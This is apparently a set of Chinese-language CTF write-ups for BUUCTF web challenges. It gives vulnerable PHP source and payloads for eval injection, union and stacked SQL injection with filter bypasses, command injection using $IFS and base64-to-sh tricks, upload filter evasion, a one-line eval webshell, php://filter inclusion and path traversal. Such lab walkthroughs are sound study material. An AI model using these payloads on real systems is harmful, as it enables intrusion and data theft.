if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

calc.php?%20num=phpinfo()

站内链接

Abusing PHP query string parser to bypass IDS

IPS

calc.php?%20num=var_dump(scandir(chr(47)))

calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]LoveSQL

?username=admin&password=-1%27+or+1%3D1+%23

hint

Your password is ‘50753b5b26e65cbcdfab97b0e4569841’

md5 解密就不用想了，继续尝试

联合注入

判断字段数

?username=admin&password=-1' order by 1,2,3,4 #

Unknown column ‘4’ in ‘order clause’

有三个字段

?username=admin&password=-1' union select 1,2,3 #

查看数据库基础信息

?username=admin&password=-1' union select 1,@@version_compile_os,version() #

?username=admin&password=-1' union select 1,user(),database() #

Linux，10.3.18-MariaDB，root@localhost，geek

查表

url?username=admin&password=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek' #

Hello geekuser,l0ve1ysq1！

查字段

?username=admin&password=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1' #

Hello id,username,password！

查数据

?username=admin&password=-1' union select 1,group_concat(id,username,password),3 from l0ve1ysq1 #

Hello 1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{b1305613-af15-4561-b1c0-8ba3f2d4b04f}！

[强网杯 2019]随便注

源码

<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){
      do{
        if ($rs = $mysqli->store_result()){
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); 
          if ($mysqli->more_results()){  
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); 
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  
}
?>

联合注入

-1' or 1=1 order by 3 #

error 1054 : Unknown column ‘3’ in ‘order clause’

-1' union select 1,2 #

hint

堆叠注入

-1';show tables#

array(1) {
[0]=>
string(16) “1919810931114514”
}

array(1) {
[0]=>
string(5) “words”
}

-1';desc `1919810931114514`#

array(6) {
[0]=>
string(4) “flag”
[1]=>
string(12) “varchar(100)”
[2]=>
string(2) “NO”
[3]=>
string(0) “”
[4]=>
NULL
[5]=>
string(0) “”
}

预处理语句绕过

-1';prepare zero from concat('sel','ect * from `1919810931114514`');execute zero;#

-1';prepare zero from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');execute zero;#

strstr($inject, “set”) && strstr($inject, “prepare”)

-1';SET @sqli=concat('sel','ect * from `1919810931114514`');PREPARE zero from @sqli;execute zero;#

-1';SET @sqli=concat(char(115,101,108,101,99,116),' * from `1919810931114514`');PREPARE zero from @sqli;execute zero;#

替换表名列名

-1'; alter table words rename to others;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

[GXYCTF2019]Ping Ping Ping

目录下有两个文件

flag.php

index.php

空格、flag 存在过滤，无法直接查看

/?ip=1.1.1.1|cat$IFS$1index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

变量替换

通过变量 a 实现字符替换

/?ip=1.1.1.1|a=g;cat$IFS$9fla$a.php

内联执行

将反引号内命令的输出作为输入执行

/?ip=1.1.1.1|cat$IFS$9`ls`

编码绕过

/?ip=1.1.1.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

Linux 下存在多种 Shell 程序，选择可用 Shell 即可

内部域分隔符 IFS(Internal Field Separator) Linux 的 env 变量，bash shell 下默认为空格、制表符和换行符

[ACTF2020 新生赛]Exec

1.1.1.1;cat /flag

[ACTF2020 新生赛]Upload

/index.php

<?php
	error_reporting(0);

	define("UPLOAD_PATH", "./uplo4d");
	$msg = "Upload Success!";
	if (isset($_POST['submit'])) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_name = $_FILES['upload_file']['name'];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {
	        exit('nonono~ Bad file！');
    	}

        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;
        
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
    }

?>

main.js

function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".avif|.avif|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传，请上传jpg、png、gif结尾的图片噢！";
            alert(errMsg);
            return false;
        }
    }

绕过相应检测

[极客大挑战 2019]Upload

upload_file.php

<?php
$file = $_FILES["file"];
  
// 允许上传的图片后缀
$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");
$temp = explode(".", $file["name"]);
$extension = strtolower(end($temp));
$image_type = @exif_imagetype($file["tmp_name"]);

if ((($file["type"] == "image/gif")
|| ($file["type"] == "image/jpeg")
|| ($file["type"] == "image/jpg")
|| ($file["type"] == "image/pjpeg")
|| ($file["type"] == "image/x-png")
|| ($file["type"] == "image/png"))
&&$file["size"] < 20480)
{
	if ($file["error"] > 0){
		echo "ERROR!!!";
	}
	elseif (in_array($extension, $allowedExts)) {
		echo "NOT！".$extension."!";
	} 
	elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {
		echo "NO! HACKER! your file included '&#x3C;&#x3F;'";
	}
	elseif (!$image_type) {
		echo "Don't lie to me, it's not image at all!!!";
	}
	else{
		$fileName='./upload/'.$file['name'];
		move_uploaded_file($file['tmp_name'],$fileName);
		echo "上传文件名: " . $file["name"] . "<br>";
	}
}
else
{
	echo "Not image!";
}
?>

需绕过复合检测

文件后缀名黑名单检测

文件类型 php 函数检测

文件大小检测

<? php 特征检测

最后将合法文件移动至 upload 目录下

可用 ASPX 一句话，后缀为 phtml ，文件头修改为 GIF89a?

上传时将 Content-Type 参数改为 image/jpeg

[极客大挑战 2019]Knife

/index.php

<?php
eval($_POST["Syc"]);
?>

一句话木马，通过蚁剑连接

[极客大挑战 2019]Secret File

<a id="master" href="./Archive_room.php" xxx</a>

跳转至 Archive_room.php

<a id="master" href="./action.php" xxx</a>

302 重定向至 end.php

Burp拦截

/secr3t.php

<html>  
 <title>secret</title>  
 <meta charset="UTF-8">  
<?php  
    highlight_file(__FILE__); error_reporting(0); $file=$_GET['file'];  
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){  
        echo "Oh no!";  
        exit();  
    }  
    include($file); //flag放在了flag.php里  
?>  
</html>

php://filter获取源码

flag and secr3t

[ACTF2020 新生赛]Include

hint

Can you find out the flag?

?file=flag.php

PHP伪协议

引用站外链接

php://filter

PHP手册

?file=php://filter/read=convert.base64-encode/resource=flag.php

[SUCTF 2019]EasySQL

var_dump

回显格式反推出使用 var_dump 实现输出

拿字典跑了下，屏蔽了某些关键词

堆叠注入

query=1;show databases #

query=-1; show tables #

query=-1; show columns from Flag #

from 被过滤，不可行

引用站外链接

BUUCTF—web题解法汇总

$sql = "select ".$post['query']."||flag from Flag";

1;set sql_mode=PIPES_AS_CONCAT;select 1

*,1

select \*,1 from Flag

[极客大挑战 2019]EasySQL

/check.php?username=admin&password=%27+or+1%3D1

/check.php?username=admin&password=%27+or+1%3D1+%23

[极客大挑战 2019]Http

href=“Secret.php”

It doesn’t come from ‘https://Sycsecret.buuoj.cn’

引用站外链接

HTTP Header 详解

博客园

Referer: https://Sycsecret.buuoj.cn

Please use “Syclover” browser

No!!! you can only read this locally!!!

[极客大挑战 2019]Havefun

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

?cat=dog

[HCTF 2018]WarmUp

<!--source.php-->

/source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.avif\" />";
    }  
?>

/hint.php

flag not here, and flag in ffffllllaaaagggg

?file=hint.php?../…/…/…/…/ffffllllaaaagggg

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[HCTF 2018]WarmUp